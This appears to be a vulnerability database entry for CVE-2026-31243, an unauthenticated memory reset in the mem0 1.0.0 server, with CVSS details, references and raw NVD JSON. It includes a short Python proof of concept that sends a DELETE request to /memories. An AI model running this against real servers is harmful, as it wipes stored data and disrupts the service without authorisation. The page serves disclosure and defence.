CVE-2026-31243

Description

The mem0 1.0.0 server lacks authentication and authorization controls for its memory reset and table re-creation functionality accessible via the DELETE /memories endpoint. An unauthenticated attacker can send a DELETE request that triggers a reset operation, leading to the execution of a CREATE TABLE SQL statement. This can cause unexpected table re-creation, schema disruption, potential data loss, and denial of service for the memory management service.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mem0:mem0:1.0.0:*:*:*:*:*:*:* - VULNERABLE

mem0 1.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    """
    PoC for CVE-2026-31243: Unauthenticated Memory Reset in mem0
    """
    # The vulnerable endpoint is usually /memories
    endpoint = f"{target_url.rstrip('/')}/memories"
    
    try:
        # Send a DELETE request without authentication
        response = requests.delete(endpoint, timeout=10)
        
        if response.status_code == 200:
            print("[+] Exploit successful! Memory reset triggered.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error occurred: {e}")

if __name__ == "__main__":
    target = "http://localhost:3000" # Replace with actual target
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31243
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31243
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31243/
[4] VulDB https://vuldb.com/cve/CVE-2026-31243
[5] https://github.com/mem0ai/mem0
[6] https://www.notion.so/CVE-2026-31243-35d1e139318881c6a6cffbe366c238a6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31243", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:52.783", "lastModified": "2026-05-14T18:38:15.123", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mem0 1.0.0 server lacks authentication and authorization controls for its memory reset and table re-creation functionality accessible via the DELETE /memories endpoint. An unauthenticated attacker can send a DELETE request that triggers a reset operation, leading to the execution of a CREATE TABLE SQL statement. This can cause unexpected table re-creation, schema disruption, potential data loss, and denial of service for the memory management service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mem0:mem0:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "CBD5639B-9888-4EF9-8E41-CC05DBA4720E"}]}]}], "references": [{"url": "https://github.com/mem0ai/mem0", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.notion.so/CVE-2026-31243-35d1e139318881c6a6cffbe366c238a6", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}]}}